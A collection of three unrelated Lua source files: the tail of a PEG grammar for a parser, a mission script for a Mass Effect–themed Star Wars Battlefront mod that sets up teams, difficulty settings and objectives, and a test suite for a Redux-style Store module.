"(" ~} {| <spread_expr> / !<binop> <expr_list> |} )? |} ) -> term expr <- (('' -> curline) (<in_expr> / <infix_expr> / <spread_expr>)) -> expr spread_expr <- ( "..." <term>? ) -> spreadExpr in_expr <- ( {| <ident_list> |} s "in" <idsafe> s <expr> ) -> inExpr nil_expr <- ( "nil" <idsafe> ) -> nilExpr super_expr <- ( "super" <idsafe> ) -> superExpr expr_stmt <- ( ('' -> curline) <update_expr> ) -> exprStmt binop <- { "+" / "-" / "~~" / "~" / "/" / "**" / "*" / "%" / "^" / "|" / "&" / ">>>" / ">>" / ">=" / ">" / "<<" / "<=" / "<" / ".." / "!=" / "==" / "!~" / ":" [+-~/*%^|&><!?=] / ("or" / "and" / "is" / "as") <idsafe> } infix_expr <- ( {| <prefix_expr> (s <binop> s <prefix_expr>)* |} ) -> infixExpr prefix_expr <- ( ({ "#" / "-" !'-' / "~" / "!" !"~" / "not" <idsafe> } s)? <term> ) -> prefixExpr assop <- { "+=" / "-=" / "~=" / "**=" / "*=" / "/=" / "%=" / "and=" / "|=" / "or=" / "&=" / "^=" / "<<=" / ">>>=" / ">>=" } update_expr <- ( <bind_left> {| (s {:oper: <assop> :} s {:expr: <expr> :}) / ((s "," s <bind_left>)* s {:oper: {'=' !'>' / 'in' <idsafe>} :} s {:list: {| <expr_list> |} :}) |}? ) -> updateExpr array_expr <- ( "[" s {| <array_elements>? |} s ("]" / %1 => error) ) -> arrayExpr array_elements <- <expr> (s "," s <expr>)* (s ",")? table_expr <- ( "{" s {| <table_entries>? |} s ("}" / %1 => error) ) -> tableExpr table_entries <- ( <table_entry> (<table_sep> s <table_entry>)* <table_sep>? ) table_entry <- {| ( {:name: <name> :} / {:expr: "[" s <expr> s "]" :} ) s "=" !'>' s {:value: <expr> :} / {:value: <expr> :} |} -> tableEntry comp_expr <- ( "[" s <expr> {| (s <comp_block>)+ |} s ("]" / %1 => error) ) -> compExpr comp_block <- ( "for" <idsafe> s {| <ident_list> |} s <in> s <expr> (s "if" <idsafe> s <expr>)? s ) -> compBlock regex_expr <- ( "/" s (<patt_grammar> / <patt_expr>) s ("/" / %s => error) ) -> regexExpr grammar_decl <- ( ({"local"} <idsafe> s / '' -> "package") "grammar" <idsafe> HS <ident> (s <grammar_body>)? s (<end> / %1 => error) ) -> grammarDecl grammar_body <- {| (<grammar_body_stmt> (<sep> s <grammar_body_stmt>)* <sep>?)? |} grammar_body_stmt <- ( <patt_rule> / <class_body_stmt> ) patt_expr <- (('' -> curline) <patt_alt>) -> pattExpr patt_grammar <- {| <patt_rule> (s <patt_rule>)* |} -> pattGrammar patt_rule <- ( <patt_name> hs '<-' s <patt_expr> ) -> pattRule patt_sep <- '|' !'}' patt_alt <- {| <patt_seq> (s <patt_sep> s <patt_seq>)* |} -> pattAlt patt_seq <- {| (<patt_prefix> (s <patt_prefix>)*)? |} -> pattSeq patt_any <- '.' -> pattAny patt_prefix <- ( <patt_assert> / <patt_suffix> ) patt_assert <- ( {'&' / '!' } s <patt_prefix> ) -> pattAssert patt_suffix <- ( <patt_primary> {| (s <patt_tail>)* |} ) -> pattSuffix patt_tail <- ( <patt_opt> / <patt_rep> / <patt_prod> ) patt_prod <- ( {'~>'} s <term> / {'->'} s <term> / {'+>'} s <term> ) -> pattProd patt_opt <- ( !'+>' { [+*?] } ) -> pattOpt patt_rep <- ( '^' { [+-]? <patt_num> } ) -> pattRep patt_capt <- ( <patt_capt_subst> / <patt_capt_const> / <patt_capt_group> / <patt_capt_table> / <patt_capt_basic> / <patt_capt_back> / <patt_capt_bref> ) patt_capt_subst <- ( '{~' s <patt_expr> s '~}' ) -> pattCaptSubst patt_capt_group <- ( '{:' (<patt_name> ':')? s <patt_expr> s ':}' ) -> pattCaptGroup patt_capt_table <- ( '{|' s <patt_expr> s '|}' ) -> pattCaptTable patt_capt_basic <- ( '{' s <patt_expr> s '}' ) -> pattCaptBasic patt_capt_const <- ( '{`' s <expr> s '`}' ) -> pattCaptConst patt_capt_back <- ( '{=' s <patt_name> s '=}' ) -> pattCaptBack patt_capt_bref <- ( '=' <patt_name> ) -> pattCaptBackRef patt_primary <- ( '(' s <patt_expr> s ')' / <patt_term> / <patt_class> / <patt_predef> / <patt_capt> / <patt_arg> / <patt_any> / <patt_ref> / '<{' s <expr> s '}>' ) patt_ref <- ( '<' <patt_name> '>' ) -> pattRef patt_arg <- ( '%' { <patt_num> } ) -> pattArg patt_class <- ( '[' {'^' / ''} {| <patt_item> (!']' <patt_item>)* |} ']' ) -> pattClass patt_item <- ( <patt_predef> / <patt_range> / ({~ <escape> / . ~} -> pattTerm) ) patt_term <- ( '"' ({~ (<escape> / <nl> / !'"' .)+ ~})* '"' / "'" ({~ (<nl> / !"'" .)+ ~})* "'" ) -> pattTerm patt_range <- ({~ <escape> / . ~} '-' {~ <escape> / !"]" . ~}) -> pattRange patt_name <- { [A-Za-z_][A-Za-z0-9_]* } -> pattName patt_num <- [0-9]+ patt_predef <- '%' <patt_name> -> pattPredef ]=] local grammar = re.compile(patt, defs) local function parse(src, name, line, ...) return grammar:match(src, nil, name, line or 1, ...) end return { parse = parse }
ReadDataFile("..\\..\\addon\\ME5\\data\\_LVL_PC\\master.lvl") RandomSide = 1 isModMap = 1 local bDebug = false local mapDebug = false -- -- Copyright (c) 2005 Pandemic Studios, LLC. All rights reserved. -- MEUGameMode = 7 -- load the gametype script ScriptCB_DoFile("ME5_Master") MEUGameMode = meu_campaign ScriptCB_DoFile("ME5_setup_teams") ScriptCB_DoFile("ME5_MultiObjectiveContainer") ScriptCB_DoFile("ME5_ObjectiveAssault") ScriptCB_DoFile("ME5_ObjectiveConquest") ScriptCB_DoFile("ME5_ObjectiveGoto") MEUGameMode = meu_campaign ScriptCB_DoFile("ME5_CinematicContainer") ScriptCB_DoFile("ME5_CameraFunctions") ScriptCB_DoFile("ME5_CombatManager") --ScriptCB_DoFile("ME5_CinematicOverlayIFS") ScriptCB_DoFile("Ambush") mapSize = xs EnvironmentType = 4 --[[onlineSideVar = SSVxGTH onlineHeroSSV = shep_vanguard onlineHeroGTH = gethprime_me2 onlineHeroCOL = colgeneral onlineHeroEVG = gethprime_me3]] REP = 1 -- The player's team. CIS = 2 -- Team for the Geth Troopers and Rocketeers. Note: synonymous with teamID 'GethPawns'. SQD = 3 -- Team for the player's squad. GethHusks = 0 -- Team for the Husks. (DEPRECATED) GethPawns = CIS -- Team for the Geth Troopers and Rocketeers. Note: synonymous with teamID 'CIS'. GethTacticals = 4 -- Team for the Geth Snipers and Hunters. GethSpecials = 5 -- Team for the Geth Machinists and Shock Troopers. GethHeavys = 6 -- Team for the Geth Destroyers and Juggernauts. GethPrimes = 7 -- Team for the Geth Primes. ATT = 1 DEF = 2 local playerLives = 10 -- The amount of lives the player has. A value of -1 denotes infinite lives. local playerMaxHealth = nil -- The player's max health for their current class. local playerMinHealth = nil -- The value to restore the player's health to after every combat zone. local playerCurHealth = nil -- The player's current health. local playerHealthThreshold = 0.4 -- The percentage form of playerMinHealth. Must be > playerHealthThreshold in fLowHealthSound(). local playerHealthAddRate = 50 -- The amount of health that is restored to the player per second. local squadDefenseBuff = nil -- The multiplier for the player's squad's health/shields. local enemyDefenseBuff = nil -- The multiplier for the enemy units' health/shields. local bossDefenseBuff = nil -- The multiplier for the final boss. local squadAggro = nil -- The aggressiveness of the player's squad. local enemyAggro = nil -- The aggressiveness of the enemy units. local bossAggro = nil -- The aggressiveness of the final boss. local bInCombat = false -- Is the player currently in combat? local currentZoneID = "none" -- What is the name ID of the current combat zone? local numCinematicShakes = 0 -- How many cinematic shakes have there been? local camShakeCharUnit = nil -- The player character unit. local bConsoleWorkaround = true SmartSpawn_curAllySpawn = nil SmartSpawn_curEnemySpawn = nil -- CASUAL if ME5_Difficulty == 1 then squadDefenseBuff = 1.0 enemyDefenseBuff = 1.0 bossDefenseBuff = 1.0 squadAggro = 0.89 enemyAggro = 0.87 bossAggro = 0.92 -- NORMAL elseif ME5_Difficulty == 2 then squadDefenseBuff = 1.1 enemyDefenseBuff = 1.25 bossDefenseBuff = 1.25 squadAggro = 0.90 enemyAggro = 0.90 bossAggro = 0.94 -- VETERAN elseif ME5_Difficulty == 3 then squadDefenseBuff = 1.2 enemyDefenseBuff = 1.5 bossDefenseBuff = 1.5 squadAggro = 0.91 enemyAggro = 0.93 bossAggro = 0.96 -- HARDCORE elseif ME5_Difficulty == 4 then squadDefenseBuff = 1.3 enemyDefenseBuff = 1.75 bossDefenseBuff = 1.75 squadAggro = 0.92 enemyAggro = 0.96 bossAggro = 0.98 -- INSANITY elseif ME5_Difficulty == 5 then squadDefenseBuff = 1.4 enemyDefenseBuff = 2.0 bossDefenseBuff = 2.0 squadAggro = 0.93 enemyAggro = 0.99 bossAggro = 1.00 -- DEFAULT (used if ME5_Difficulty is invalid) else squadDefenseBuff = 1.1 enemyDefenseBuff = 1.25 bossDefenseBuff = 1.25 squadAggro = 0.90 enemyAggro = 0.90 bossAggro = 0.94 end -- Table of all allied teams. allyTeams = { REP, SQD } -- Table of all enemy teams. enemyTeams = { GethPawns, GethTacticals, GethSpecials, GethHeavys, GethPrimes } enemyBuildingClasses = { "gth_bldg_assaultdrone", "gth_bldg_gethturret", "gth_bldg_rocketdrone", "gth_weap_inf_hexshield", "gth_weap_inf_hexshield_jug", "weap_tech_combatdronetur_incinerate", "weap_tech_combatdronetur_rocket", "weap_tech_combatdronetur_shock"} --- -- Call this to check if the input /object/ matches one of the classes in /enemyBuildingClasses/. -- @param #object object The object data to check. -- @return #bool True, object is not an enemy building. False, object is an enemy building. function IsObjectUnit(object) --print("EXAMPLEn_c.IsObjectUnit(): Entered") print("EXAMPLEn_c.IsObjectUnit(): Object class name:", GetEntityClass(object)) for i in pairs(enemyBuildingClasses) do -- Is the object an enemy building? if GetEntityClass(object) == FindEntityClass(enemyBuildingClasses[i]) then print("EXAMPLEn_c.IsObjectUnit(): Object is an enemy building!") return false else print("EXAMPLEn_c.IsObjectUnit(): Object is NOT an enemy building!") return true end end end --- -- Restores the player's health until the health threshold is reached. -- function RestorePlayerHealth() print("EXAMPLEn_c.RestorePlayerHealth(): Entered") local charPtr = GetCharacterUnit(0) local entPtr = GetEntityPtr(charPtr) -- What is the player's current health? playerCurHealth = GetObjectHealth(entPtr) -- How often in seconds will we check the player's health? local checkInterval = 0.5 if playerCurHealth < playerMinHealth then -- Start restoring the player's health SetProperty(charPtr, "AddHealth", playerHealthAddRate) -- Our timer for checking the player's health local checkTimer = CreateTimer("checkTimer") SetTimerValue(checkTimer, checkInterval) --ShowTimer(checkTimer) StartTimer(checkTimer) -- Check the player's health every half of a second since we don't have an update function :( local checkTimerElapse = OnTimerElapse( function(timer) -- Update the player's health playerCurHealth = GetObjectHealth(entPtr) print("EXAMPLEn_c.RestorePlayerHealth(): playerCurHealth:", playerCurHealth) -- Is the player's health still low? if playerCurHealth < playerMinHealth then -- Restart the timer SetTimerValue(checkTimer, checkInterval) StartTimer(checkTimer) else print("EXAMPLEn_c.RestorePlayerHealth(): Threshold surpassed, stopping restoration") -- Stop the timer StopTimer(checkTimer) -- Stop restoring health SetProperty(charPtr, "AddHealth", 0) DestroyTimer(checkTimer) end end, "checkTimer" ) end end --- -- Prints and returns the variable /playerCurHealth/. -- @return The player's current health from /playerCurHealth/. -- function GetPlayerCurHealth() print("EXAMPLEn_c.GetPlayerCurHealth(): playerCurHealth:", playerCurHealth) return playerCurHealth end --- -- Prints and returns the variable /playerMinHealth/. -- @return The player's minimum health from /playerMinHealth/. -- function GetPlayerMinHealth() print("EXAMPLEn_c.GetPlayerCurHealth(): playerMinHealth:", playerMinHealth) return playerMinHealth end --- -- Prints and returns the variable /playerMaxHealth/. -- @return The player's maximum health from /playerMaxHealth/. -- function GetPlayerMaxHealth() print("EXAMPLEn_c.GetPlayerCurHealth(): playerMaxHealth:", playerMaxHealth) return playerMaxHealth end function ScriptPostLoad() EnableSPScriptedHeroes() ScriptCB_EnableHeroMusic(0) SetClassProperty(gth_inf_trooper, "MaxHealth", 230*enemyDefenseBuff) SetClassProperty(gth_inf_trooper, "MaxShields", 520*enemyDefenseBuff) SetClassProperty(gth_inf_trooper, "MaxSpeed", "3.69") SetClassProperty(gth_inf_trooper, "MaxStrafeSpeed", "3.69") SetClassProperty(gth_inf_rocketeer, "MaxHealth", 250*enemyDefenseBuff) SetClassProperty(gth_inf_rocketeer, "MaxShields", 480*enemyDefenseBuff) SetClassProperty(gth_inf_rocketeer, "MaxSpeed", "3.69") SetClassProperty(gth_inf_rocketeer, "MaxStrafeSpeed", "3.69") SetClassProperty(gth_inf_sniper, "MaxHealth", 230*enemyDefenseBuff) SetClassProperty(gth_inf_sniper, "MaxShields", 500*enemyDefenseBuff) SetClassProperty(gth_inf_sniper, "MaxSpeed", "3.69") SetClassProperty(gth_inf_sniper, "MaxStrafeSpeed", "3.69") SetClassProperty(gth_inf_machinist, "MaxHealth", 230*enemyDefenseBuff) SetClassProperty(gth_inf_machinist, "MaxShields", 660*enemyDefenseBuff) SetClassProperty(gth_inf_machinist, "MaxSpeed", "3.69") SetClassProperty(gth_inf_machinist, "MaxStrafeSpeed", "3.69") SetClassProperty(gth_inf_shock, "MaxHealth", 400*enemyDefenseBuff) SetClassProperty(gth_inf_shock, "MaxShields", 550*enemyDefenseBuff) SetClassProperty(gth_inf_shock, "MaxSpeed", "3.105") SetClassProperty(gth_inf_shock, "MaxStrafeSpeed", "3.105") SetClassProperty(gth_inf_hunter, "MaxHealth", 300*enemyDefenseBuff) SetClassProperty(gth_inf_hunter, "MaxShields", 720*enemyDefenseBuff) SetClassProperty(gth_inf_hunter, "MaxSpeed", "3.15") SetClassProperty(gth_inf_hunter, "MaxStrafeSpeed", "3.15") SetClassProperty(gth_inf_destroyer, "MaxHealth", 700*enemyDefenseBuff) SetClassProperty(gth_inf_destroyer, "MaxShields", 720*enemyDefenseBuff) SetClassProperty(gth_inf_destroyer, "MaxSpeed", "2.295") SetClassProperty(gth_inf_destroyer, "MaxStrafeSpeed", "2.295") SetClassProperty(gth_inf_juggernaut, "MaxHealth", 900*enemyDefenseBuff) SetClassProperty(gth_inf_juggernaut, "MaxShields", 840*enemyDefenseBuff) SetClassProperty(gth_inf_juggernaut, "MaxSpeed", "2.16") SetClassProperty(gth_inf_juggernaut, "MaxStrafeSpeed", "2.16") SetClassProperty(gth_inf_prime, "MaxHealth", 2500*bossDefenseBuff) SetClassProperty(gth_inf_prime, "MaxShields", 3000*bossDefenseBuff) SetClassProperty(gth_inf_prime, "MaxSpeed", "2.20") SetClassProperty(gth_inf_prime, "MaxStrafeSpeed", "2.20") ScriptCB_SetGameRules("campaign") onfirstspawn = OnCharacterSpawn( function(character) if IsCharacterHuman(character) then ReleaseCharacterSpawn(onfirstspawn) onfirstspawn = nil ObjStart_timer = CreateTimer("ObjStart_timer") SetTimerValue(ObjStart_timer, 1) StartTimer(ObjStart_timer) CountDown = OnTimerElapse( function() BeginObjectives() ReleaseTimerElapse(CountDown) end, ObjStart_timer ) end end) --========================== -- CAPTURE THE BEACH --========================== --sets objective Objective1CP = CommandPost:New{name = "beach_cp"} Objective1 = ObjectiveConquest:New{teamATT = ATT, teamDEF = DEF, text = "level.aei.objectives.1", popupText = "level.aei.objectives.1_popup"} Objective1:AddCommandPost(Objective1CP) --tells what happens on start of your objective Objective1.OnStart = function(self) --sets AI-goal Ambush("squad_spawn", 10, SQD) Ambush("geth_beach_spawn", 16, GethPawns) AICanCaptureCP("beach_cp", SQD, false) AIGoalSQD = AddAIGoal(SQD, "Defend", 100, "beach_cp") AIGoalGethPawns = AddAIGoal(GethPawns, "Defend", 10, "beach_cp") MapAddEntityMarker("beach_cp", "hud_objective_icon", 3.0, 1, "YELLOW", true) end -- says what happens after the objective is complete Objective1.OnComplete = function(self) DeleteAIGoal(AIGoalSQD) MapRemoveEntityMarker("beach_cp") SetProperty("beach_cp", "CaptureRegion", "") ShowMessageText("game.objectives.complete", ATT) end function BeginObjectives() objectiveSequence = MultiObjectiveContainer:New{delayVictoryTime = 2.0} objectiveSequence:AddObjectiveSet(Objective1) objectiveSequence:Start() end end --------------------------------------------------------------------------- -- FUNCTION: ScriptInit -- PURPOSE: This function is only run once -- INPUT: -- OUTPUT: -- NOTES: The name, 'ScriptInit' is a chosen convention, and each -- mission script must contain a version of this function, as -- it is called from C to start the mission. --------------------------------------------------------------------------- function ScriptInit() --ReadDataFile("..\\..\\addon\\ME5\\data\\_LVL_PC\\Load\\eur.lvl") SetMemoryPoolSize("ParticleTransformer::ColorTrans", 2188) SetMemoryPoolSize("ParticleTransformer::PositionTr", 1293) SetMemoryPoolSize("ParticleTransformer::SizeTransf", 1409) PreLoadStuff() -- Player's squad's aggressiveness SetTeamAggressiveness(3, (squadAggro)) -- The enemies' aggressiveness SetTeamAggressiveness(2, (enemyAggro)) SetTeamAggressiveness(4, (enemyAggro)) SetTeamAggressiveness(5, (enemyAggro)) SetTeamAggressiveness(6, (enemyAggro)) SetTeamAggressiveness(7, (enemyAggro)) SetMinFlyHeight(-300) SetMinPlayerFlyHeight(-300) SetMaxFlyHeight(300) SetMaxPlayerFlyHeight(300) AISnipeSuitabilityDist(40) SetAttackerSnipeRange(35) SetDefenderSnipeRange(45) -- -- Sides setup begin -- LoadSSV(true) LoadGTH() SetupTeams{ -- Player classes rep = { team = REP, units = 1, reinforcements = playerLives, soldier = { "ssv_inf_cooper_soldier",0, 1}, sniper = { "ssv_inf_cooper_infiltrator",0, 1}, adept = { "ssv_inf_cooper_adept",0, 1}, engineer = { "ssv_inf_cooper_engineer",0, 1}, sentinel = { "ssv_inf_cooper_sentinel",0, 1}, vanguard = { "ssv_inf_cooper_vanguard",0, 1}, }, -- Player squad team classes sqd = { team = SQD, units = 10, reinforcements = -1, soldier = { ssv_inf_soldier,4}, sniper = { ssv_inf_infiltrator,1}, adept = { ssv_inf_adept,1}, engineer = { ssv_inf_engineer,2}, sentinel = { ssv_inf_sentinel,1}, vanguard = { ssv_inf_vanguard,1}, }, -- Geth classes --[[husks = { team = GethHusks, units = 100, reinforcements = -1, soldier = { "indoc_inf_husk",9, 12}, },]] pawns = { team = GethPawns, units = 16, reinforcements = -1, soldier = { gth_inf_trooper,7}, -- 9, 12 rocketeer = { gth_inf_rocketeer,3}, -- 5, 8 sniper = { gth_inf_sniper,5}, -- 9, 16 hunter = { gth_inf_hunter,1}, -- 7, 14 }, tacticals = { team = GethTacticals, units = 100, reinforcements = -1, sniper = { gth_inf_sniper,9, 60}, -- 9, 16 hunter = { gth_inf_hunter,7, 60}, -- 7, 14 }, specials = { team = GethSpecials, units = 100, reinforcements = -1, engineer = { gth_inf_machinist,5, 60}, -- 5, 12 shock = { gth_inf_shock,7, 60}, -- 7, 15 }, heavys = { team = GethHeavys, units = 100, reinforcements = -1, destroyer = { gth_inf_destroyer,7, 60}, -- 7, 14 juggernaut = { gth_inf_juggernaut,5, 60}, -- 5, 12 }, primes = { team = GethPrimes, units = 100, reinforcements = -1, prime = { gth_inf_prime,2, 2}, -- 2, 2 } } SetTeamName(SQD, "rep") -- Team relationships SetTeamAsFriend(REP, SQD) SetTeamAsFriend(SQD, REP) -- SetTeamAsFriend(GethHusks, GethPawns) -- SetTeamAsFriend(GethHusks, GethTacticals) -- SetTeamAsFriend(GethHusks, GethSpecials) -- SetTeamAsFriend(GethHusks, GethHeavys) -- SetTeamAsFriend(GethHusks, GethPrimes) -- SetTeamAsFriend(GethPawns, GethHusks) SetTeamAsFriend(GethPawns, GethTacticals) SetTeamAsFriend(GethPawns, GethSpecials) SetTeamAsFriend(GethPawns, GethHeavys) SetTeamAsFriend(GethPawns, GethPrimes) -- SetTeamAsFriend(GethTacticals, GethHusks) SetTeamAsFriend(GethTacticals, GethPawns) SetTeamAsFriend(GethTacticals, GethSpecials) SetTeamAsFriend(GethTacticals, GethHeavys) SetTeamAsFriend(GethTacticals, GethPrimes) -- SetTeamAsFriend(GethSpecials, GethHusks) SetTeamAsFriend(GethSpecials, GethPawns) SetTeamAsFriend(GethSpecials, GethTacticals) SetTeamAsFriend(GethSpecials, GethHeavys) SetTeamAsFriend(GethSpecials, GethPrimes) -- SetTeamAsFriend(GethHeavys, GethHusks) SetTeamAsFriend(GethHeavys, GethPawns) SetTeamAsFriend(GethHeavys, GethTacticals) SetTeamAsFriend(GethHeavys, GethSpecials) SetTeamAsFriend(GethHeavys, GethPrimes) -- SetTeamAsFriend(GethPrimes, GethHusks) SetTeamAsFriend(GethPrimes, GethPawns) SetTeamAsFriend(GethPrimes, GethTacticals) SetTeamAsFriend(GethPrimes, GethSpecials) SetTeamAsFriend(GethPrimes, GethHeavys) -- SetTeamAsEnemy(REP, GethHusks) SetTeamAsEnemy(REP, GethPawns) SetTeamAsEnemy(REP, GethTacticals) SetTeamAsEnemy(REP, GethSpecials) SetTeamAsEnemy(REP, GethHeavys) SetTeamAsEnemy(REP, GethPrimes) -- SetTeamAsEnemy(SQD, GethHusks) SetTeamAsEnemy(SQD, GethPawns) SetTeamAsEnemy(SQD, GethTacticals) SetTeamAsEnemy(SQD, GethSpecials) SetTeamAsEnemy(SQD, GethHeavys) SetTeamAsEnemy(SQD, GethPrimes) -- SetTeamAsEnemy(GethHusks, REP) -- SetTeamAsEnemy(GethHusks, SQD) SetTeamAsEnemy(GethPawns, REP) SetTeamAsEnemy(GethPawns, SQD) SetTeamAsEnemy(GethTacticals, REP) SetTeamAsEnemy(GethTacticals, SQD) SetTeamAsEnemy(GethSpecials, REP) SetTeamAsEnemy(GethSpecials, SQD) SetTeamAsEnemy(GethHeavys, REP) SetTeamAsEnemy(GethHeavys, SQD) SetTeamAsEnemy(GethPrimes, REP) SetTeamAsEnemy(GethPrimes, SQD) -- -- Sides setup end -- -- Level Stats -- ClearWalkers() AddWalkerType(0, 0) -- special -> droidekas AddWalkerType(1, 0) -- 1x2 (1 pair of legs) AddWalkerType(2, 0) -- 2x2 (2 pairs of legs) AddWalkerType(3, 0) -- 3x2 (3 pairs of legs) local weaponCnt = 1024 SetMemoryPoolSize("Aimer", 75) SetMemoryPoolSize("AmmoCounter", weaponCnt) SetMemoryPoolSize("BaseHint", 1217) SetMemoryPoolSize("EnergyBar", weaponCnt) SetMemoryPoolSize("EntityCloth", 0) SetMemoryPoolSize("EntityFlyer", 32) SetMemoryPoolSize("EntityHover", 32) SetMemoryPoolSize("EntityLight", 200) SetMemoryPoolSize("EntitySoundStream", 64) SetMemoryPoolSize("EntitySoundStatic", 64) SetMemoryPoolSize("FLEffectObject::OffsetMatrix", 87) SetMemoryPoolSize("Music", 89) SetMemoryPoolSize("Navigator", 128) SetMemoryPoolSize("Obstacle", 1024) SetMemoryPoolSize("PathNode", 1024) SetMemoryPoolSize("SoldierAnimation", 410) SetMemoryPoolSize("SoundSpaceRegion", 100) SetMemoryPoolSize("TreeGridStack", 1024) SetMemoryPoolSize("UnitAgent", 128) SetMemoryPoolSize("UnitController", 128) SetMemoryPoolSize("Weapon", weaponCnt) manager:Proc_ScriptInit_MemoryPoolInit() SetSpawnDelay(10.0, 0.25) ReadDataFile("dc:AEI\\AEI.lvl", "AEI_campaign") SetDenseEnvironment("true") --AddDeathRegion("deathregion") -- Sound --ReadDataFile("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_MUS_EUR_Streaming.lvl") --musicStream = OpenAudioStream("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_MUS_EUR_Streaming.lvl", "ME5n_music_EUR") --stingerStream = OpenAudioStream("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_MUS_EUR_Streaming.lvl", "ME5n_stingers_EUR") --AudioStreamAppendSegments("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_MUS_EUR_Streaming.lvl", "ME5n_music_EUR", stingerStream) --AudioStreamAppendSegments("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_MUS_EUR_Streaming.lvl", "ME5n_stingers_EUR", musicStream) --ambientStream1 = OpenAudioStream("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_EUR_Streaming.lvl", "EUR_ambiance") --ambientStream2 = OpenAudioStream("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_EUR_Streaming.lvl", "EUR_ambiance") --AudioStreamAppendSegments("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_EUR_Streaming.lvl", "EUR_prop_ambiance", ambientStream) --OpenAudioStream("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_EUR_Streaming.lvl", "EUR_ambiance") SetVictoryMusic(REP, "eur_amb_01_victory") SetDefeatMusic (REP, "eur_amb_01_defeat") SetVictoryMusic(CIS, "eur_amb_01_victory") SetDefeatMusic (CIS, "eur_amb_01_defeat") SetAttackingTeam(ATT) SoundFX() --ReadDataFile("..\\..\\addon\\ME5\\data\\_LVL_PC\\sound\\SFL_EUR_Streaming.lvl") -- Opening satellite shots AddCameraShot(-0.461276, -0.061869, -0.877234, 0.117716, -51.108570, 127.905670, 150.074707); PostLoadStuff() end
return function() local Store = require(script.Parent.Store) describe("new", function() it("should instantiate with a reducer", function() local store = Store.new(function(state, action) return "hello, world" end) expect(store).to.be.ok() expect(store:getState()).to.equal("hello, world") store:destruct() end) it("should instantiate with a reducer and an initial state", function() local store = Store.new(function(state, action) return state end, "initial state") expect(store).to.be.ok() expect(store:getState()).to.equal("initial state") store:destruct() end) it("should instantiate with a reducer, initial state, and middlewares", function() local store = Store.new(function(state, action) return state end, "initial state", {}) expect(store).to.be.ok() expect(store:getState()).to.equal("initial state") store:destruct() end) it("should modify the dispatch method when middlewares are passed", function() local middlewareInstantiateCount = 0 local middlewareInvokeCount = 0 local passedDispatch local passedStore local passedAction local function reducer(state, action) if action.type == "test" then return "test state" end return state end local function testMiddleware(nextDispatch, store) middlewareInstantiateCount = middlewareInstantiateCount + 1 passedDispatch = nextDispatch passedStore = store return function(action) middlewareInvokeCount = middlewareInvokeCount + 1 passedAction = action nextDispatch(action) end end local store = Store.new(reducer, "initial state", { testMiddleware }) expect(middlewareInstantiateCount).to.equal(1) expect(middlewareInvokeCount).to.equal(0) expect(passedDispatch).to.be.a("function") expect(passedStore).to.equal(store) store:dispatch({ type = "test", }) expect(middlewareInstantiateCount).to.equal(1) expect(middlewareInvokeCount).to.equal(1) expect(passedAction.type).to.equal("test") store:flush() expect(store:getState()).to.equal("test state") store:destruct() end) it("should execute middleware left-to-right", function() local events = {} local function reducer(state) return state end local function middlewareA(nextDispatch, store) table.insert(events, "instantiate a") return function(action) table.insert(events, "execute a") return nextDispatch(action) end end local function middlewareB(nextDispatch, store) table.insert(events, "instantiate b") return function(action) table.insert(events, "execute b") return nextDispatch(action) end end local store = Store.new(reducer, 5, { middlewareA, middlewareB }) expect(#events).to.equal(2) expect(events[1]).to.equal("instantiate b") expect(events[2]).to.equal("instantiate a") store:dispatch({ type = "test", }) expect(#events).to.equal(4) expect(events[3]).to.equal("execute a") expect(events[4]).to.equal("execute b") end) it("should send an initial action with a 'type' field", function() local lastAction local callCount = 0 local store = Store.new(function(state, action) lastAction = action callCount = callCount + 1 return state end) expect(callCount).to.equal(1) expect(lastAction).to.be.a("table") expect(lastAction.type).to.be.ok() store:destruct() end) end) describe("getState", function() it("should get the current state", function() local store = Store.new(function(state, action) return "foo" end) local state = store:getState() expect(state).to.equal("foo") store:destruct() end) end) describe("dispatch", function() it("should be sent through the reducer", function() local store = Store.new(function(state, action) state = state or "foo" if action.type == "act" then return "bar" end return state end) expect(store).to.be.ok() expect(store:getState()).to.equal("foo") store:dispatch({ type = "act", }) store:flush() expect(store:getState()).to.equal("bar") store:destruct() end) it("should trigger the changed event after a flush", function() local store = Store.new(function(state, action) state = state or 0 if action.type == "increment" then return state + 1 end return state end) local callCount = 0 store.changed:connect(function(state, oldState) expect(oldState).to.equal(0) expect(state).to.equal(1) callCount = callCount + 1 end) store:dispatch({ type = "increment", }) store:flush() expect(callCount).to.equal(1) store:destruct() end) it("should handle actions dispatched within the changed event", function() local store = Store.new(function(state, action) state = state or { value = 0, } if action.type == "increment" then return { value = state.value + 1, } elseif action.type == "decrement" then return { value = state.value - 1, } end return state end) local changeCount = 0 store.changed:connect(function(state, oldState) expect(state).never.to.equal(oldState) if state.value > 0 then store:dispatch({ type = "decrement", }) end changeCount = changeCount + 1 end) store:dispatch({ type = "increment", }) store:flush() store:flush() expect(changeCount).to.equal(2) store:destruct() end) it("should prevent yielding from changed handler", function() local preCount = 0 local postCount = 0 local store = Store.new(function(state, action) state = state or 0 return state + 1 end) store.changed:connect(function(state, oldState) preCount = preCount + 1 wait() postCount = postCount + 1 end) store:dispatch({ type = "increment", }) expect(function() store:flush() end).to.throw() expect(preCount).to.equal(1) expect(postCount).to.equal(0) store:destruct() end) it("should throw if an action is dispatched without a type field", function() local store = Store.new(function(state, action) return state end) expect(function() store:dispatch({}) end).to.throw() store:destruct() end) it("should throw if the action is not a function or table", function() local store = Store.new(function(state, action) return state end) expect(function() store:dispatch(1) end).to.throw() store:destruct() end) end) describe("flush", function() it("should not fire a changed event if there were no dispatches", function() local store = Store.new(function() end) local count = 0 store.changed:connect(function() count = count + 1 end) store:flush() expect(count).to.equal(0) store:dispatch({ type = "increment", }) store:flush() expect(count).to.equal(1) store:flush() expect(count).to.equal(1) store:destruct() end) end) end
